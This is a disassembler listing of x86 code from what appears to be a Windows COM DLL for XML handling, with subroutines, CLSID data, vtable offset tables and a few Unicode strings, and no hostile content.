; =============== S U B R O U T I N E =======================================
sub_69B11CFE proc near ; CODE XREF: sub_69B1A799+54p
; sub_69B315F1+15p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
mov eax, esi
shl eax, 4
add eax, [esp+4+arg_0]
push eax
call sub_69B17EF3
mov [eax+8], esi
pop esi
retn
sub_69B11CFE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19621
loc_69B11D17: ; CODE XREF: sub_69B19621+5Dj
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
call sub_69B1941C
jmp loc_69B1968D
; ---------------------------------------------------------------------------
loc_69B11D27: ; CODE XREF: sub_69B19621+73j
mov eax, dword_69B929A8
mov [esi+0Ch], eax
jmp loc_69B1969A
; ---------------------------------------------------------------------------
loc_69B11D34: ; CODE XREF: sub_69B19621+B6j
xor eax, eax
jmp loc_69B196F1
; END OF FUNCTION CHUNK FOR sub_69B19621
; =============== S U B R O U T I N E =======================================
sub_69B11D3B proc near ; CODE XREF: sub_69B192E9+38p
; sub_69B19621+3Ap ...
arg_0 = dword ptr 4
push esi
push dwTlsIndex
mov esi, ecx
call dword_69B92970
mov [esi], eax
mov ecx, [eax+2Ch]
mov [esi+4], ecx
mov ecx, [esp+4+arg_0]
mov [esi+8], ecx
mov [eax+2Ch], ecx
mov eax, esi
pop esi
retn 4
sub_69B11D3B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1879A
loc_69B11D62: ; CODE XREF: sub_69B1879A+4Fj
mov [ecx], ebx
jmp loc_69B187EF
; ---------------------------------------------------------------------------
loc_69B11D69: ; CODE XREF: sub_69B1879A+5Cj
mov edx, [ebp+var_4]
mov [ecx], edx
jmp locret_69B187FC
; END OF FUNCTION CHUNK FOR sub_69B1879A
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_69B11D73 proc near ; DATA XREF: .text:69B1F258o
jmp sub_69B18381
sub_69B11D73 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B192E9
loc_69B11D78: ; CODE XREF: sub_69B192E9+76j
mov eax, dword_69B929A8
mov [esi+0Ch], eax
jmp loc_69B19365
; ---------------------------------------------------------------------------
loc_69B11D85: ; CODE XREF: sub_69B192E9+A9j
xor eax, eax
jmp loc_69B193A4
; END OF FUNCTION CHUNK FOR sub_69B192E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1941C
loc_69B11D8C: ; CODE XREF: sub_69B1941C+3Dj
mov eax, [ebp-20h]
mov eax, [eax+4]
jmp loc_69B19461
; END OF FUNCTION CHUNK FOR sub_69B1941C
; =============== S U B R O U T I N E =======================================
sub_69B11D97 proc near ; CODE XREF: sub_69B1BCE3+7Dp
; sub_69B8BD72+C3p
mov eax, ecx
xor cl, cl
mov [eax], cl
mov [eax+1], cl
mov [eax+2], cl
mov byte ptr [eax+3], 1
mov [eax+4], cl
mov [eax+5], cl
mov byte ptr [eax+6], 1
mov byte ptr [eax+7], 1
retn
sub_69B11D97 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18800
loc_69B11DB6: ; CODE XREF: sub_69B18800+7j
; sub_69B18800+1Aj
xor eax, eax
jmp locret_69B18823
; END OF FUNCTION CHUNK FOR sub_69B18800
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_69B11DBD proc near ; DATA XREF: .text:69B17D34o
jmp sub_69B18826
sub_69B11DBD endp
; =============== S U B R O U T I N E =======================================
sub_69B11DC2 proc near ; CODE XREF: sub_69B1992C+45p
; sub_69B19E6E+150p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
lea eax, [eax+esi*4]
push eax
call sub_69B17EF3
mov [eax+8], esi
pop esi
retn
sub_69B11DC2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1992C
loc_69B11DD9: ; CODE XREF: sub_69B1992C+FF0j
push edi ; Value
mov ecx, offset dword_69B95AB8 ; Target
call sub_69B188DC
loc_69B11DE4: ; CODE XREF: sub_69B1992C+3Bj
; sub_69B24AAA+18j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
lea ecx, [ebp-1Ch]
call sub_69B1900C
loc_69B11DF8: ; CODE XREF: sub_69B1992C+14j
call sub_69B1853C
retn
; ---------------------------------------------------------------------------
loc_69B11DFE: ; CODE XREF: sub_69B1992C+53j
xor eax, eax
jmp loc_69B1998A
; END OF FUNCTION CHUNK FOR sub_69B1992C
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B11E05(LPCWSTR lpString)
sub_69B11E05 proc near ; CODE XREF: sub_69B1992C+81p
; sub_69B460C4+D4p ...
lpString = dword ptr 4
push 0
push [esp+4+lpString] ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push [esp+8+lpString]
push 0
call sub_69B192CB
retn 4
sub_69B11E05 endp
; =============== S U B R O U T I N E =======================================
sub_69B11E20 proc near ; CODE XREF: sub_69B1BCE3+15Cp
push esi
mov esi, ecx
call sub_69B17275
neg eax
sbb al, al
inc al
push eax
push 1
push 20h
call sub_69B1A768
push eax
add esi, 8
push esi
call sub_69B17320
pop esi
retn
sub_69B11E20 endp
; =============== S U B R O U T I N E =======================================
sub_69B11E44 proc near ; CODE XREF: sub_69B1C300+8p
; sub_69B1D8D5+14p ...
arg_0 = dword ptr 4
push ebx
push [esp+4+arg_0]
xor ebx, ebx
call sub_69B17F2C
pop ebx
retn 4
sub_69B11E44 endp
; =============== S U B R O U T I N E =======================================
sub_69B11E54 proc near ; CODE XREF: sub_69B1C300+14p
arg_0 = dword ptr 4
mov eax, ecx
xor ecx, ecx
mov [eax], ecx
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
mov [eax+10h], ecx
mov [eax+14h], ecx
mov ecx, [esp+arg_0]
mov [eax+18h], ecx
retn 4
sub_69B11E54 endp
; =============== S U B R O U T I N E =======================================
sub_69B11E73 proc near ; CODE XREF: sub_69B18CB3+72p
; DllGetClassObject:loc_69B22948p ...
push dwTlsIndex
call dword_69B92970
retn
sub_69B11E73 endp
; =============== S U B R O U T I N E =======================================
sub_69B11E80 proc near ; CODE XREF: sub_69B18CB3+AFp
; sub_69B1B0B5+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
push eax ; Target
call sub_69B18980
and eax, 0FFFFFFF9h
retn 4
sub_69B11E80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B11E93 proc near ; CODE XREF: sub_69B182B8+83p
; sub_69B23725+23p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
; FUNCTION CHUNK AT 69B238E5 SIZE 0000000B BYTES
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push ebx
mov ebx, [ebp+arg_4]
push edi
loc_69B11E9E: ; CODE XREF: sub_69B11E93+61j
cmp ebx, [eax+10h]
jbe short loc_69B11EEF
cmp ebx, [eax+14h]
jnb short loc_69B11EEF
test bl, 0Fh
jnz short loc_69B11EF6
mov ecx, ebx
and ecx, 0FFFh
mov edi, 110h
cmp ecx, edi
jb short loc_69B11EF6
mov ecx, [ebp+arg_8]
push esi
mov [ecx], eax
mov eax, [ebp+arg_C]
mov esi, ebx
and esi, 0FFFFF000h
mov [eax], esi
mov eax, [esi]
and eax, 0FFFFFFFEh
cmp eax, [ebp+arg_0]
jnz loc_69B238E5
loc_69B11EDF: ; CODE XREF: sub_69B11E93+11A58j
sub ebx, esi
sub ebx, edi
sar ebx, 4
lea eax, [ebx+esi+10h]
pop esi
loc_69B11EEB: ; CODE XREF: sub_69B11E93+65j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_69B11EEF: ; CODE XREF: sub_69B11E93+Ej
; sub_69B11E93+13j
mov eax, [eax]
cmp eax, [ebp+arg_0]
jnz short loc_69B11E9E
loc_69B11EF6: ; CODE XREF: sub_69B11E93+18j
; sub_69B11E93+29j
xor eax, eax
jmp short loc_69B11EEB
sub_69B11E93 endp
; =============== S U B R O U T I N E =======================================
sub_69B11EFA proc near ; CODE XREF: sub_69B18CB3+56C4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B22F22 SIZE 00000018 BYTES
push ebx
mov ebx, [esp+4+arg_0]
push esi
push edi
lea eax, [ebx+4]
push eax ; Target
mov edi, ebx
call sub_69B18980
mov esi, eax
and esi, 0FFFFFFF9h
loc_69B11F11: ; CODE XREF: sub_69B11EFA+1103Bj
cmp esi, ebx
jnz loc_69B22F22
mov eax, [esp+0Ch+arg_4]
mov [edi+4], eax
pop edi
pop esi
pop ebx
retn 8
sub_69B11EFA endp
; =============== S U B R O U T I N E =======================================
sub_69B11F26 proc near ; CODE XREF: sub_69B1BA12+67p
cmp [ebp+10h], edi
jz short locret_69B11F33
push 8
call sub_69B1D1C5
pop ecx
locret_69B11F33: ; CODE XREF: sub_69B11F26+3j
retn
sub_69B11F26 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1B766
loc_69B11F34: ; CODE XREF: sub_69B1B766+23j
push dword ptr [esi]
call sub_69B1D1FD
and dword ptr [esi], 0
pop ecx
jmp loc_69B1B773
; END OF FUNCTION CHUNK FOR sub_69B1B766
; =============== S U B R O U T I N E =======================================
sub_69B11F44 proc near ; CODE XREF: sub_69B1B625+127p
; sub_69B1CD73:loc_69B1CE54p ...
mov eax, dword_69B9267C
cmp eax, 0FFFFFFFFh
jz sub_69B1A509
push eax
call dword_69B95B38
or dword_69B9267C, 0FFFFFFFFh
jmp sub_69B1A509
sub_69B11F44 endp
; =============== S U B R O U T I N E =======================================
sub_69B11F65 proc near ; CODE XREF: sub_69B1B625+12Cp
; sub_69B1B625:loc_69B24BABp
cmp dword_69B96004, 3
jz sub_69B25025
loc_69B11F72: ; CODE XREF: sub_69B25025+69j
push dword_69B96000 ; hHeap
call ds:HeapDestroy ; HeapDestroy
retn
sub_69B11F65 endp
; =============== S U B R O U T I N E =======================================
sub_69B11F7F proc near ; CODE XREF: sub_69B1E3D1+54p
push dwTlsIndex
inc dword_69B929AC
call dword_69B92970
mov dword_69B9299C, eax
mov dword_69B929A0, eax
mov byte_69B929A4, 1
retn
sub_69B11F7F endp
; =============== S U B R O U T I N E =======================================
sub_69B11FA3 proc near ; CODE XREF: sub_69B2FB2A+3j
; DATA XREF: .text:69B1D588o
push esi
mov esi, ecx
push 0
lea eax, [esi+10h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B11FA3 endp
; =============== S U B R O U T I N E =======================================
sub_69B11FB9 proc near ; CODE XREF: sub_69B1E3D1+6Bp
push offset dword_69B95A04
call sub_69B17230
retn
sub_69B11FB9 endp
; =============== S U B R O U T I N E =======================================
sub_69B11FC4 proc near ; DATA XREF: .text:69B1D3C8o
push esi
mov esi, ecx
push 0
lea eax, [esi+0Ch]
push eax
call sub_69B17320
push 0
lea eax, [esi+10h]
push eax
call sub_69B17320
push 0
lea eax, [esi+14h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B11FC4 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B17135
loc_69B11FF0: ; CODE XREF: sub_69B17135+2Dj
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-1Ch]
call sub_69B1853C
retn 4
; END OF FUNCTION CHUNK FOR sub_69B17135
; =============== S U B R O U T I N E =======================================
sub_69B11FFF proc near ; DATA XREF: .text:69B17318o
; FUNCTION CHUNK AT 69B23E88 SIZE 0000000B BYTES
push esi
push edi
mov edi, ecx
lea esi, [edi+18h]
cmp dword ptr [esi], 0
jz short loc_69B1203A
push dwTlsIndex
call dword_69B92970
test byte ptr [edi+1Ch], 1
jnz loc_69B23E88
mov ecx, dword_69B95A14
loc_69B12027: ; CODE XREF: sub_69B11FFF+11E8Fj
test ecx, ecx
jz short loc_69B12032
push dword ptr [esi]
call sub_69B17DC6
loc_69B12032: ; CODE XREF: sub_69B11FFF+2Aj
push 0
push esi
call sub_69B17320
loc_69B1203A: ; CODE XREF: sub_69B11FFF+Aj
pop edi
pop esi
retn
sub_69B11FFF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B17DC6
loc_69B1203D: ; CODE XREF: sub_69B17DC6+68j
mov ecx, [esi+20h]
mov [ebp-38h], ecx
mov [ebp-3Ch], eax
push eax
call sub_69B171A0
mov [ebp-40h], eax
or dword ptr [eax+0Ch], 0FFFFFFFFh
jmp loc_69B17E34
; ---------------------------------------------------------------------------
loc_69B12058: ; CODE XREF: sub_69B17DC6+74j
inc eax
mov [esi+1Ch], eax
jmp loc_69B17E40
; ---------------------------------------------------------------------------
loc_69B12061: ; CODE XREF: sub_69B17DC6+44j
and dword ptr [ebp-34h], 0
jmp loc_69B17E6D
; END OF FUNCTION CHUNK FOR sub_69B17DC6
; =============== S U B R O U T I N E =======================================
sub_69B1206A proc near ; CODE XREF: sub_69B17DC6+7Dp
mov eax, ecx
and dword ptr [eax], 0
retn
sub_69B1206A endp
; =============== S U B R O U T I N E =======================================
sub_69B12070 proc near ; CODE XREF: sub_69B17DC6+A2p
push ecx
call sub_69B17230
retn
sub_69B12070 endp
; =============== S U B R O U T I N E =======================================
sub_69B12077 proc near ; DATA XREF: .text:69B17314o
push esi
mov esi, ecx
push 0
lea eax, [esi+10h]
push eax
call sub_69B17320
push 0
lea eax, [esi+14h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B12077 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1B1F3
loc_69B12098: ; CODE XREF: sub_69B1B1F3+26j
push 0FFFFFFFFh ; dwMilliseconds
call sub_69B18F8A
jmp loc_69B1B21F
; END OF FUNCTION CHUNK FOR sub_69B1B1F3
; =============== S U B R O U T I N E =======================================
sub_69B120A4 proc near ; CODE XREF: sub_69B1E3D1+7Dp
; .text:69B2E1F9j
; FUNCTION CHUNK AT 69B235B8 SIZE 00000010 BYTES
push esi
mov esi, dword_69B929F4
loc_69B120AB: ; CODE XREF: sub_69B120A4+1151Fj
test esi, esi
jnz loc_69B235B8
pop esi
retn
sub_69B120A4 endp
; =============== S U B R O U T I N E =======================================
sub_69B120B5 proc near ; CODE XREF: sub_69B1E3D1+82p
mov eax, dword_69B929F0
test eax, eax
jz nullsub_4
lea ecx, [eax+4]
jmp sub_69B19038
sub_69B120B5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1C43A
loc_69B120CA: ; CODE XREF: sub_69B1C43A+9j
lea eax, [esi+38h]
push eax
call sub_69B17230
mov esi, [esi+14h]
jmp loc_69B1C441
; END OF FUNCTION CHUNK FOR sub_69B1C43A
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B120DB proc near ; CODE XREF: sub_69B1ADE2+26p
; sub_69B17F72+B8CFp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
mov edi, [ebp+arg_0]
push 0 ; Value
lea eax, [edi+2030h]
push eax ; Target
call ds:InterlockedExchange ; InterlockedExchange
mov esi, eax
test esi, esi
jnz sub_69B23725
loc_69B120FE: ; CODE XREF: sub_69B23725+87j
pop edi
pop esi
leave
retn 4
sub_69B120DB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1B4E4
loc_69B12104: ; CODE XREF: sub_69B1B4E4+39j
push eax ; lpMem
call sub_69B1B532
pop ecx
jmp loc_69B1B523
; END OF FUNCTION CHUNK FOR sub_69B1B4E4
; =============== S U B R O U T I N E =======================================
sub_69B12110 proc near ; CODE XREF: sub_69B1E5CC+23p
; sub_69B2D601+3p
push esi
mov esi, ecx
push dword ptr [esi+10h] ; hObject
call ds:CloseHandle ; CloseHandle
add esi, 38h
push esi
call sub_69B17230
pop esi
retn
sub_69B12110 endp
; ---------------------------------------------------------------------------
align 4
dword_69B12128 dd 0F6D90F10h, 11D39C73h, 0C0002EB3h, 0B40B994Fh, 0F6D90F12h
; DATA XREF: .text:69B1C644o
; sub_69B3D5E1:loc_69B3D5FEo
dd 11D39C73h, 0C0002EB3h, 0B40B994Fh
; CLSID stru_69B12148
stru_69B12148 dd 0F5078F1Bh ; Data1 ; DATA XREF: .text:69B1C684o
; sub_69B7FB0F+1D5o ...
dw 0C551h ; Data2
dw 11D3h ; Data3
db 89h, 0B9h, 2 dup(0), 0F8h, 1Fh, 0E2h, 21h; Data4
dword_69B12158 dd 0F6D90F11h, 11D39C73h, 0C0002EB3h, 0B40B994Fh
; DATA XREF: .text:69B1C674o
; sub_69B1C12C+2FC7o ...
; CLSID stru_69B12168
stru_69B12168 dd 0F5078F20h ; Data1 ; DATA XREF: .text:69B1C6F4o
; sub_69B83984+14o
dw 0C551h ; Data2
dw 11D3h ; Data3
db 89h, 0B9h, 2 dup(0), 0F8h, 1Fh, 0E2h, 21h; Data4
dword_69B12178 dd 0F5078F19h, 11D3C551h, 0B989h, 21E21FF8h
; DATA XREF: DllGetClassObject+4Ao
; .text:69B1C6E4o
off_69B12188 dd offset sub_69B2D67E ; DATA XREF: sub_69B18169+Do
; sub_69B186FAo ...
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B2D825
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset nullsub_5
off_69B121C0 dd offset sub_69B2E328 ; DATA XREF: sub_69B1D908+1Do
; sub_69B2E26A+14o
off_69B121C4 dd offset sub_69B448B2 ; DATA XREF: sub_69B1D908+17o
; sub_69B2E26A+Eo
dd offset sub_69B18E45
dd offset sub_69B2E347
off_69B121D0 dd offset sub_69B2D67E ; DATA XREF: sub_69B2EF86+8o
; sub_69B2F36F+1Eo ...
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset nullsub_5
dd offset sub_69B2EFA9
dd offset sub_69B2EF98
off_69B12210 dd offset sub_69B2D67E ; DATA XREF: sub_69B190D7+26o
; sub_69B2F2CA+39o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B18884
dd offset sub_69B17D5C
dd offset sub_69B18826
dd offset sub_69B2F49D
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset nullsub_5
dd offset sub_69B2EFDA
off_69B1224C dd offset sub_69B2D67E ; DATA XREF: sub_69B2F610+Co
; sub_69B2F66B-34o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2F55F
dd offset sub_69B2E804
dd offset sub_69B2FABC
dd offset sub_69B2F643
dd offset sub_69B2F570
dd offset nullsub_5
dd offset nullsub_5
aName: ; DATA XREF: sub_69B4FDBC+38Eo
; .text:69B5EE48o ...
unicode 0, <name>,0
align 10h
aString: ; DATA XREF: .text:69B210F8o
; .text:69B5EE80o ...
unicode 0, <string>,0
align 10h
flt_69B122A0 dd 8.5000002e-1 ; DATA XREF: sub_69B1A799+3Br
; sub_69B31699+5Ar
dword_69B122A4 dd 2Ah ; .text:69B266D8o ...
off_69B122A8 dd offset sub_69B448B2 ; DATA XREF: sub_69B3659D+3o
; sub_69B36793+12o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B3660F
dd offset sub_69B36364
dd offset sub_69B365E3
dd offset sub_69B84A43
dd offset sub_69B365EB
dd offset sub_69B365FB
dd offset sub_69B365F3
dd offset sub_69B365EB
dd offset sub_69B365EB
dd offset sub_69B84A43
dd offset sub_69B84A3B
off_69B122E0 dd offset sub_69B448B2 ; DATA XREF: sub_69B38858-94o
; sub_69B38833+7o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B387DC
dd offset sub_69B387F8
dd offset sub_69B365E3
dd offset sub_69B84A43
dd offset sub_69B365EB
dd offset sub_69B84A3B
dd offset sub_69B365F3
dd offset sub_69B365EB
dd offset sub_69B365EB
dd offset sub_69B84A43
dd offset sub_69B84A3B
off_69B12318 dd offset sub_69B448B2 ; DATA XREF: sub_69B3A342+Eo
; sub_69B3A38A+7o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B3A038
dd offset sub_69B39DB6
dd offset sub_69B365E3
dd offset sub_69B84A43
dd offset sub_69B365EB
dd offset sub_69B3A007
dd offset sub_69B365F3
dd offset sub_69B365EB
dd offset sub_69B365EB
dd offset sub_69B84A43
dd offset sub_69B84A3B
off_69B12350 dd offset sub_69B448B2 ; DATA XREF: sub_69B3C164o
; sub_69B3CA5C+10o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B3BD99
dd offset sub_69B3BE20
dd offset sub_69B3BE60
dd offset sub_69B3CC54
off_69B1236C dd offset sub_69B3B7BC ; DATA XREF: sub_69B3C290+7o
; sub_69B3CDC8+Fo
dd offset sub_69B1F56C
dd offset sub_69B7793E
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B7794D
dd offset sub_69B3C310
dd offset sub_69B3BD89
dd offset sub_69B3BEC6
dd offset sub_69B3BD91
dd offset sub_69B3BFAC
dd offset sub_69B3C33C
dd offset sub_69B3BD91
dd offset sub_69B3CE0F
off_69B123A4 dd offset sub_69B3C3D3 ; DATA XREF: sub_69B3CC8F+19o
; sub_69B3CD5C+9o
dd offset sub_69B1F56C
dd offset sub_69B7793E
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B7794D
dd offset sub_69B3C310
dd offset sub_69B3CB30
dd offset sub_69B3C07A
dd offset sub_69B3C574
dd offset sub_69B3C00A
dd offset sub_69B3C4C3
dd offset sub_69B3C888
dd offset sub_69B3CF04
off_69B123DC dd offset sub_69B448B2 ; DATA XREF: sub_69B3DA5B+Co
; sub_69B3DA9D+7o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B4E45A
dd offset sub_69B4E589
dd offset sub_69B4EA49
dd offset sub_69B4E5DF
dd offset sub_69B4EBD9
align 10h
off_69B12400 dd offset loc_69B3F4D5 ; DATA XREF: sub_69B1BCE3+35o
; sub_69B3F305+27o
dd offset sub_69B3F55A
dd offset sub_69B3F8EA
dd offset loc_69B3F4DF
dd offset sub_69B3F4E7
dd offset sub_69B3F4EF
dd offset sub_69B3F4F7
dd offset sub_69B3F4FF
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B3F585
dd offset nullsub_6
dd offset sub_69B3D28C
off_69B12440 dd offset loc_69B3F4A3 ; DATA XREF: sub_69B1BCE3+2Fo
; sub_69B3F305+20o
dd offset loc_69B3F548
dd offset loc_69B3F8E3
dd offset loc_69B3F4AD
dd offset loc_69B3F4B5
dd offset loc_69B3F4BD
dd offset loc_69B3F4C5
dd offset loc_69B3F4CD
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B3F57D
dd offset sub_69B3F552
dd offset sub_69B3F6B0
dd offset sub_69B3D73A
dd offset sub_69B3F570
off_69B12488 dd offset sub_69B3F471 ; DATA XREF: sub_69B1BCE3+29o
; sub_69B3F305+1Ao
dd offset sub_69B3F53E
dd offset sub_69B3F8DC
dd offset loc_69B3F47B
dd offset sub_69B3F483
dd offset sub_69B3F48B
dd offset sub_69B3F493
dd offset sub_69B3F49B
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B3F575
dd offset sub_69B3D5E1
dd offset sub_69B3F5CF
dd offset sub_69B3DFBE
dd offset sub_69B3F564
dd offset sub_69B3F51A
aAttribute: ; DATA XREF: .text:69B5EB48o
; sub_69B60C8B:loc_69B60FADo ...
unicode 0, <attribute>,0
aElement: ; DATA XREF: sub_69B60C8B:loc_69B60FA3o
; .text:69B61E78o ...
unicode 0, <element>,0
off_69B124F8 dd offset sub_69B40F87 ; DATA XREF: sub_69B437E7+1Ao
; sub_69B4389D+6o
dd offset sub_69B1F56C
dd offset sub_69B40E6F
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B4107B
dd offset sub_69B41180
dd offset sub_69B41290
dd offset sub_69B41434
dd offset sub_69B41554
dd offset sub_69B4122C
dd offset sub_69B4167C
dd offset sub_69B43D3C
dd offset sub_69B4183C
dd offset sub_69B418FC
dd offset sub_69B419B4
dd offset sub_69B41A7C
dd offset sub_69B43C62
dd offset sub_69B41BEC
dd offset sub_69B41E9C
dd offset sub_69B41D7C
dd offset sub_69B40304
dd offset sub_69B41B44
dd offset sub_69B4213C
dd offset sub_69B4202C
dd offset sub_69B42F64
dd offset sub_69B422B4
dd offset sub_69B423AC
dd offset sub_69B41774
dd offset sub_69B421FC
dd offset sub_69B4277B
dd offset sub_69B42884
dd offset sub_69B4297C
dd offset sub_69B42A54
dd offset sub_69B42E14
dd offset sub_69B42B4C
dd offset sub_69B42C6C
dd offset sub_69B42D4C
dd offset sub_69B42EC4
dd offset sub_69B424B4
dd offset sub_69B42594
dd offset sub_69B42695
dd offset sub_69B4311C
align 8
off_69B125A8 dd offset sub_69B54E00 ; DATA XREF: sub_69B4399D+Co
; sub_69B55714+7o
dd offset sub_69B1F56C
dd offset sub_69B7793E
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B7794D
dd offset sub_69B3C310
dd offset sub_69B55934
dd offset sub_69B55773
dd offset sub_69B559BD
dd offset sub_69B54DB1
dd offset sub_69B54F74
dd offset sub_69B55024
dd offset sub_69B55483
dd offset sub_69B550DC
dd offset sub_69B5553C
dd offset sub_69B55A48
dd offset sub_69B5518C
dd offset sub_69B55B8D
dd offset sub_69B55C4C
dd offset sub_69B55D24
dd offset sub_69B5529C
dd offset sub_69B365EB
align 8
off_69B12608 dd offset sub_69B45E84 ; DATA XREF: sub_69B44884+6o
; sub_69B458D3+10o
dd offset sub_69B1F56C
dd offset sub_69B7793E
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B7794D
dd offset sub_69B3C310
dd offset sub_69B44A77
dd offset sub_69B44B74
dd offset sub_69B4595B
dd offset sub_69B44C4C
dd offset sub_69B44D54
dd offset sub_69B44E64
dd offset sub_69B45EDC
dd offset sub_69B44F54
dd offset sub_69B4506C
dd offset sub_69B45174
dd offset sub_69B4524C
dd offset sub_69B4532C
dd offset sub_69B45FDC
off_69B12658 dd offset sub_69B45E84 ; DATA XREF: sub_69B455FC+6o
; sub_69B45B61+10o
dd offset sub_69B1F56C
dd offset sub_69B7793E
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B7794D
dd offset sub_69B3C310
dd offset sub_69B4562A
dd offset sub_69B45704
off_69B1267C dd offset sub_69B43F50 ; DATA XREF: sub_69B45A4C+8o
; sub_69B45ACF+Ao
dd offset sub_69B1F56C
dd offset sub_69B7793E
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B7794D
dd offset sub_69B3C310
dd offset sub_69B81D00
dd offset sub_69B45404
dd offset sub_69B45514
dd offset sub_69B460C4
off_69B126A8 dd offset sub_69B46A42 ; DATA XREF: sub_69B46944+6o
; sub_69B47360+Ao
dd offset sub_69B1F56C
dd offset sub_69B47254
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B7794D
dd offset sub_69B3C310
dd offset sub_69B475B7
dd offset sub_69B4662B
dd offset sub_69B4678C
dd offset sub_69B4778C
dd offset sub_69B46D7D
dd offset sub_69B46E4C
dd offset sub_69B4789C
dd offset sub_69B467AF
dd offset sub_69B4793C
dd offset sub_69B472C5
dd offset sub_69B4664E
dd offset sub_69B47A04
dd offset sub_69B47AEC
dd offset sub_69B4685C
off_69B126FC dd offset sub_69B2D67E ; DATA XREF: sub_69B1A6EC+2Ao
; sub_69B4DC7E+7o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B4DC63
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B4D1F0
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B4E20A
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B4DC19
off_69B12734 dd offset sub_69B448B2 ; DATA XREF: sub_69B4EE6F+11o
; sub_69B4EEA0+Ao
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B4EECB
dd offset sub_69B4EF84
dd offset sub_69B4EF9E
dd offset sub_69B4F02C
dd offset sub_69B4F0B4
off_69B12754 dd offset sub_69B448B2 ; DATA XREF: sub_69B4F64F+16o
; sub_69B4F7C4+7o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B4FA5E
dd offset sub_69B4FC4C
dd offset sub_69B4FCAC
dd offset sub_69B4F4E7
dd offset sub_69B4FDBC
